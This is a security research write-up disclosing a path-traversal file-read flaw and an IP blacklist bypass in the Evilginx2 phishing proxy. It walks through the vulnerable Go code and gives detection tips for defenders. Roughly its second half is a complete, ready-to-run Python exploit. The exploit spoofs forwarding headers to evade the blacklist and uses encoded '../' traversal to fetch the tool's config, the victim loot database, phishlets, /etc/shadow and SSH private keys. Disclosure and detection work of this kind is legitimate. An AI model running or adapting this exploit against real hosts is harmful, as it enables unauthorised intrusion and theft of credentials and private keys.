TLDR: We identified an LFI and IP Blacklist Bypass vulnerability that has been in Evilginx2 for 2 years. Ths vulnerability allows anyone to access the main configs, loot database, phishlet code, and sensitive files on the system running Evilginx2 without having to worry about the IP blacklist. In some situations this could also lead to a Remote Command Execution (RCE) as root.
Exploit Below
Introduction
While experimenting with GitHub's code scanning and remediation features across common red team tools, c0mmand3r and I came across an interesting finding in Evilginx2. GitHub's automated code scanner correctly identified that unsantized user input was being sent to an
ioutil.ReadFile() call within the
http_proxy.go file on
line 555:
553 path := filepath.Join(t_dir, rel_path)
554 if _, err := os.Stat(path); !os.IsNotExist(err) {
555 fdata, err := ioutil.ReadFile(path)
556 if err == nil {
557 //log.Debug("ext: %s", filepath.Ext(req_path))
558 mime_type := getContentType(req_path, fdata)
559 //log.Debug("mime_type: %s", mime_type)
560 resp := goproxy.NewResponse(req, mime_type, http.StatusOK, "")
After manual review, the code scanner was correct and as it was clearly taking user supplied input and passing it directly into a ReadFile() call. Having never used Evilginx2 (Is it pronounced "evil engine x", "evil gin x", or "evil jinx"?), I decided to set it up using real domains in a "real world" setting to see if this vulnerability was reachable and to determine both exploitability and impact. The following sections detail the exploit analysis and several other issues identified along the way that GitHub's code scanner didn't/couldn't catch.
What is Evilginx2?
For those unfamiliar with Evilginx2, it is a tool that red teamers and threat actors can use to aid in phishing. It "transparently" proxies the target domain with an attacker domain in an attempt to trick the user into entering their authentication credentials. It also allows for relatively granular control over content rewriting and client-side application modification via "phishlets". While I won't go into the full details of setting up Evilginx2 for this write up, the simple architecture I used was:
Evilginx2 works by controlling an HTTP (proxy) server and a DNS server. When a "victim" visits the "proxy" (either via clicking on a link in an email or any other method of getting them to navigate to a domain) Evilginx2 forwards the "victim" request to the "real" domain and then forwards the response from the "real" domain back to the "victim". So if the user isn't careful, they may think they are on the "real" domain instead of the "proxy". Since Evilginx2 sits "in the middle" of this connection, it can modify the "real" domain's response any way it wants to. It can also capture anything the "user" does or inputs on the page like login credentials, session tokens, or access cookies.
Evilginx2 primarily consists of
phishlets,
lures, and what it calls
redirectors:
| Pishlets |
An Evilginx2 phishlet is a YAML-based configuration file that tells Evilginx2 how to proxy the "real" target domain. It defines the target domain, authentication tokens, and authentication endpoints so credentials and authenticated sessions can be captured in real time. By stealing session cookies after successful login, a phishlet enables attackers to bypass traditional MFA and reuse the victim's authenticated session. |
| Lures |
An Evilginx2 lure is the specific URI that delivers a victim to an attacker-controlled domain running Evilginx2. It typically consists of a specially crafted URL designed to track the victim/campaign and make the victim initiate a legitimate login flow. Once accessed, Evilginx2 proxies the victim to the "real" target domain, enabling credential and session capture. |
| Redirectors |
An Evilginx2 "redirector" is not required, but it is recommended as a protection method for your phishing landing pages. The idea behind these "redirectors" is that the redirector will prevent automated analysis/scraping from being able to identify your phishing lure/landing page because the redirector will require some sort of client-side verification either from the user or some other method similar to other anti-bot detection mechanisms like CloudFlare Turnstile etc. |
In short, a
lure is the link you send to a victim, a
phishlet is the configuration for how Evilginx2 will proxy, analyze, and store victim data, and
redirectors prevent automated analysis of your lures.
Reaching the Bug
To determine how to reach the vulnerability we need to understand how Evilginx2 works internally. When Evilginx2 starts up, it looks for various required directories and configuration files and reads everything it needs to properly stand up the HTTP proxy server and DNS server.
| Note: |
| The DNS server is interesting. By default, it listens on a low privileged port (53) which requires Evilginx2 to run as root. This is good from an exploitation standpoint because if Evilginx2 is running as root, and we can control the input to the vulnerable ReadFile() call, then we can read any file on the system as the root user potentially turning this into an RCE. For these tests, I wasn't actually using the Evilginx2 DNS server and instead was managing my own DNS externally. |
For testing I used the following configuration:
: phishlets
+-----------+----------+-------------+----------------+-------------+
| phishlet | status | visibility | hostname | unauth_url |
+-----------+----------+-------------+----------------+-------------+
| example | enabled | visible | attacker.com | |
+-----------+----------+-------------+----------------+-------------+
: lures
+-----+-----------+----------------+------------+-------------+---------------+---------+-------+
| id | phishlet | hostname | path | redirector | redirect_url | paused | og |
+-----+-----------+----------------+------------+-------------+---------------+---------+-------+
| 0 | example | attacker.com | /aKMwdbLT | example | | | ---- |
+-----+-----------+----------------+------------+-------------+---------------+---------+-------+
: config
domain : attacker.com
external_ipv4 : [REDACTED]
bind_ipv4 : 0.0.0.0
https_port : 443
dns_port : 53
unauth_url : https://www.youtube.com/watch?v=dQw4w9WgXcQ
autocert : on
gophish admin_url :
gophish api_key :
gophish insecure : false
My example.yaml phishlet contained:
min_ver: '3.0.0'
proxy_hosts:
- {phish_sub: 'test', orig_sub: '', domain: 'victim.com', session: true, is_landing: true, auto_filter: true}
auth_tokens:
- domain: 'victim.com'
keys: ['loggedin']
credentials:
username:
key: 'username'
search: '(.*)'
type: 'post'
password:
key: 'password'
search: '(.*)'
type: 'post'
login:
domain: 'victim.com'
path: '/index.php'
When a victim clicks or browses to the lure URL:
https://test.attacker.com/aKMwdbLT Evilginx2 goes through several checks:
| 1. Is the domain and sub-domain of the request valid? |
| YES: | Proceed |
| NO: | Blacklist the requesting IP |
| 2. Is the URI of the request valid? |
| YES: | Proceed |
| NO: | Blacklist the requesting IP |
| 3. Is the request part of a session? |
| YES: | Proceed |
| NO: | Set-Cookie |
| 4. Does the lure have a redirector? |
| YES: | Respond with redirector content |
| NO: | Respond with victim domain content |
Bypassing the IP Blacklist
When analyzing how to trigger the vulnerability, I identified how Evilginx2 handles IP blacklists and how that blacklist can be bypassed. The following code demonstrates how this works (
lines 169-180 in http_proxy.go):
169 // handle ip blacklist
170 from_ip := strings.SplitN(req.RemoteAddr, ":", 2)[0]
171
172 // handle proxy headers
173 proxyHeaders := []string{"X-Forwarded-For", "X-Real-IP", "X-Client-IP", "Connecting-IP", "True-Client-IP", "Client-IP"}
174 for _, h := range proxyHeaders {
175 origin_ip := req.Header.Get(h)
176 if origin_ip != "" {
177 from_ip = strings.SplitN(origin_ip, ":", 2)[0]
178 break
179 }
180 }
First, Evilginx2 sets the "from_ip" variable to the IP from the network connection. Then it analyzes the request looking for any of the
highlighted headers. If the request has any of those headers, the "from_ip" is set to that header's value and is what ultimately gets checked against the blacklist. To bypass the blacklist, include and set any of these
highlighted headers in your request to a non-blacklisted value.
Hitting the Local File Inclusion (LFI)
Continuing with the analysis,
line 471 and line 522 of http_proxy.go shows that we need to have both a valid session and a redirector within our lure to reach the main vulnerability. Finally, starting at
line 526, the vulnerability takes the unsanitized URI from our request and combines it with the redirectors directory path to read any files requested within that directory:
523 // session has already triggered a lure redirector - see if there are any files requested by the redirector
524
525 rel_parts := []string{}
526 req_path_parts := strings.Split(req_path, "/")
527 lure_path_parts := strings.Split(s.LureDirPath, "/")
528
529 for n, dname := range req_path_parts {
530 if len(dname) > 0 {
531 path_add := true
532 if n < len(lure_path_parts) {
533 //log.Debug("[%d] %s <=> %s", n, lure_path_parts[n], req_path_parts[n])
534 if req_path_parts[n] == lure_path_parts[n] {
535 path_add = false
536 }
537 }
538 if path_add {
539 rel_parts = append(rel_parts, req_path_parts[n])
540 }
541 }
542
543 }
544 rel_path := filepath.Join(rel_parts...)
545 //log.Debug("rel_path: %s", rel_path)
546
547 t_dir := s.RedirectorName
548 if !filepath.IsAbs(t_dir) {
549 redirectors_dir := p.cfg.GetRedirectorsDir()
550 t_dir = filepath.Join(redirectors_dir, t_dir)
551 }
552
553 path := filepath.Join(t_dir, rel_path)
554 if _, err := os.Stat(path); !os.IsNotExist(err) {
555 fdata, err := ioutil.ReadFile(path)
This is a text book Local File Include (LFI) vulnerability and gives us everything we need to read any file on the system in the context of the user running Evilginx2.
| Note: |
| The comments on lines 523, 533, and 545 have led some to believe that this bug was placed intentionally as a backdoor. However, I would argue, following Hanlon's Razor it appears to be a legitimate oversight when dealing with redirector files/templates. |
Header and Referrer Leaks
Another interesting thing we noticed during testing (and discussed elsewhere:
https://github.com/An0nUD4Y/Evilginx-Phishing-Infra-Setup) was that Evilginx2 adds a header to the requests it sends to the victim site. This is most likely done as an ‘anti-script kiddie' mechanism and a trivial way for defenders to detect if requests are coming to their site FROM Evilginx2.
However, we did notice one thing that wasn't discussed elsewhere. If you're using a redirector with a lure, and you're redirector directory doesn't contain a favicon.ico file, Evilginx2 will forward that favicon.ico request to the victim domain and NOT clean the Referrer header, thus leaking the full lure URL in the process.
Blue teams should be alerting on requests with X-Eviginx2 headers AND also log the referrer headers of those requests for further analysis, especially on favicon.ico requests.
GitHub's Generate Fix
As we were initially experimenting with GitHub's code scanning, we also wanted to see what patch it would come up with. The following patch is what was automatically generated when we clicked the "Generate Fix" button:
absPath, err1 := filepath.Abs(path)
absBase, err2 := filepath.Abs(t_dir)
if err1 != nil || err2 != nil | !strings.HasPrefix(absPath, absBase+string(os.PathSeparator)) {
log.Error("lure: invalid path traversal attempt: %", path)
continue
}
if _, err := os.Stat(absPath); !os.IsNotExist(err) {
fdata, err := ioutil.ReadFile(absPath)
However, as with most things AI, this patch is incorrect. Properly patching this issue has been left as an exercise for the reader.
Evilginx2 PoC Exploit
The following proof-of-concept exploit can be used to download the Evilginx2 config, the loot database, and any identified phishlets from the loot database all while bypassing any encountered IP blacklists:
#!/usr/bin/env python
import os
import sys
import json
import random
import requests
import argparse
import ipaddress
from posixpath import normpath
from urllib.parse import urlparse
print('''
▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄ ▄▄▄ ▄▄▄ ▄▄▄
███ ███▀▀▀▀▀ ███ ███▀▀▀▀▀ ███ ████▄ ███ ████▄████
███ ███▄▄ ███ ███ ███ ███▀██▄███ ▀█████▀
███ ███▀▀ ███ ▀▀▀▀▀ ███ ███▀ ███ ███ ▀████ ▄███████▄
████████ ███ ▄███▄ ▀██████▀ ▄███▄ ███ ███ ███▀ ▀███
Evilginx2 LFI & Blacklist Bypass Exploit
By
0DAYALLDAY & c0mmand3r
Gr33tz: glitchdigger, DHA & 2600 Crew
More Details: https://www.0dayallday.org/research/LFI_GINX.html
Note:
Blacklist is automatically bypassed
Tested: Ubuntu 22.04.5, 24.04.3, 25.04 with go 1.19 and 1.25.5
Evilginx2 JA3S Signature across all was: f4febc55ea12b31ae17cfb7e614afda8
''')
def get_header():
bypass_headers = ['X-Forwarded-For', 'X-Real-IP', 'X-Client-IP', 'Connecting-IP', 'True-Client-IP', 'Client-IP']
return random.choice(bypass_headers)
def generate_ip():
while True:
random_int = random.randint(0, 2**32 - 1)
ip_address = ipaddress.IPv4Address(random_int)
if not ip_address.is_reserved and not ip_address.is_private:
return str(ip_address)
def send_it(path):
global target, headers, proxy, cookies
blacklist_bypass_ip = generate_ip()
blacklist_bypass_header = get_header()
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36', blacklist_bypass_header: blacklist_bypass_ip}
response = requests.get(target+'/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e'+path, headers=headers, verify=False, timeout=3, proxies=proxy, cookies=cookies)
if response.status_code == 200:
content = response.content.decode('utf-8', errors='ignore')
else:
raise
return content
def get_args():
global args
parser = argparse.ArgumentParser('lfi-ginx.py', formatter_class=lambda prog:argparse.HelpFormatter(prog,max_help_position=40))
parser.add_argument('-t', '--target', help='Target Lure URL', dest='target', required=True)
parser.add_argument('-p', '--proxy', help='SOCKS5 Proxy', dest='proxy', required=False)
args = parser.parse_args()
def setup():
global target, domain, proxy
if args.target:
target = args.target
domain = urlparse(target).netloc
else:
print("Target Required");
sys.exit(1)
if args.proxy:
#proxy = {"http": "socks5h://"+args.proxy, "https": "socks5h://"+args.proxy}
proxy = {"http": "http://"+args.proxy, "https": "http://"+args.proxy}
else:
proxy = None
if __name__ == "__main__":
get_args()
setup()
#Other files to download
other_files = [
'/etc/passwd',
'/etc/shadow',
'/.ssh/known_hosts',
'/.ssh/authorized_keys',
'/.ssh/id_rsa',
'/.ssh/id_rsa.keystore',
'/.ssh/id_rsa.pub'
]
#disable tls warnings
requests.packages.urllib3.disable_warnings()
print('[+] Hitting Lure URL: '+target)
try:
#Get Session Cookie(s)
blacklist_bypass_ip = generate_ip()
blacklist_bypass_header = get_header()
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36', blacklist_bypass_header: blacklist_bypass_ip}
response = requests.get(target, headers=headers, verify=False, timeout=10, proxies=proxy)
cookies = response.cookies.get_dict()
except Exception:
print('[!] Error Accessing Lure URL')
sys.exit()
print('[+] Session Cookie(s) Obtained: '+str(cookies))
try:
#Find phishlet location
data = send_it('/proc/self/cmdline').split('\0')
for i, v in enumerate(data):
if v == '-p':
phishlet_path = data[i+1]
except Exception:
print('[!] Error Accessing Proc CMDLINE LFI')
sys.exit()
try:
#Find base paths
data = send_it('/proc/self/environ').split('\0')
for i in data:
if i.startswith('PWD='):
base_path = i.split('=')[1]
if i.startswith('HOME='):
home_path = i.split('=')[1]
except Exception:
print('[!] Error Accessing Proc ENVIRON LFI')
sys.exit()
phishlet_path = normpath(base_path+'/'+phishlet_path)
try:
#Get Config
config_file_name = domain+'_evilginx_config.json'
config_data = send_it(home_path+'/.evilginx/config.json')
except Exception:
print('[!] Error Downloading Evilginx2 Config')
sys.exit()
with open(config_file_name, 'a') as file:
file.write(config_data)
print('[+] Phishlet Directory: '+phishlet_path)
print('[+] Binary Directory: '+base_path)
print('[+] User Directory: '+home_path)
print('[+] Evilginx Config saved to: '+config_file_name)
try:
#Try to find loot database
for i in range(1, 11):
try:
data = send_it('/proc/self/fd/'+str(i))
except Exception:
pass
if 'phishlet' in data and 'sessions' in data:
data_file_name = domain+'_evilginx_data_db.txt'
with open(data_file_name, 'a') as file:
file.write(data)
print('[+] Evilginx Data DB saved to: '+data_file_name)
break
except Exception:
pass
phishlets = []
for line in data.split("\n"):
if '{' in line:
data = json.loads(line)
if data['phishlet'] not in phishlets:
phishlets.append(data['phishlet'])
for phishlet in phishlets:
try:
#Try to find download found phishlets
data = send_it(phishlet_path+'/'+phishlet+'.yaml')
if 'proxy_hosts' in data:
phishlet_file_name = domain+'_evilginx_phishlet_'+phishlet+'.yaml'
with open(phishlet_file_name, 'a') as file:
file.write(data)
print('[+] Phishlet '+phishlet+' saved to: '+phishlet_file_name)
except Exception:
print('[!] Error Downloading '+phishlet+' phishlet')
pass
for local_file in other_files:
try:
#Try to download local file list
if '.ssh' in local_file:
full_path = home_path+local_file
else:
full_path = local_file
data = send_it(full_path)
local_file_name = domain+'_'+full_path.split("/")[-1]
with open(local_file_name, 'a') as file:
file.write(data)
print('[+] Local File '+full_path+' saved to: '+local_file_name)
except Exception:
print('[!] Error Downloading '+full_path+' local_file')
pass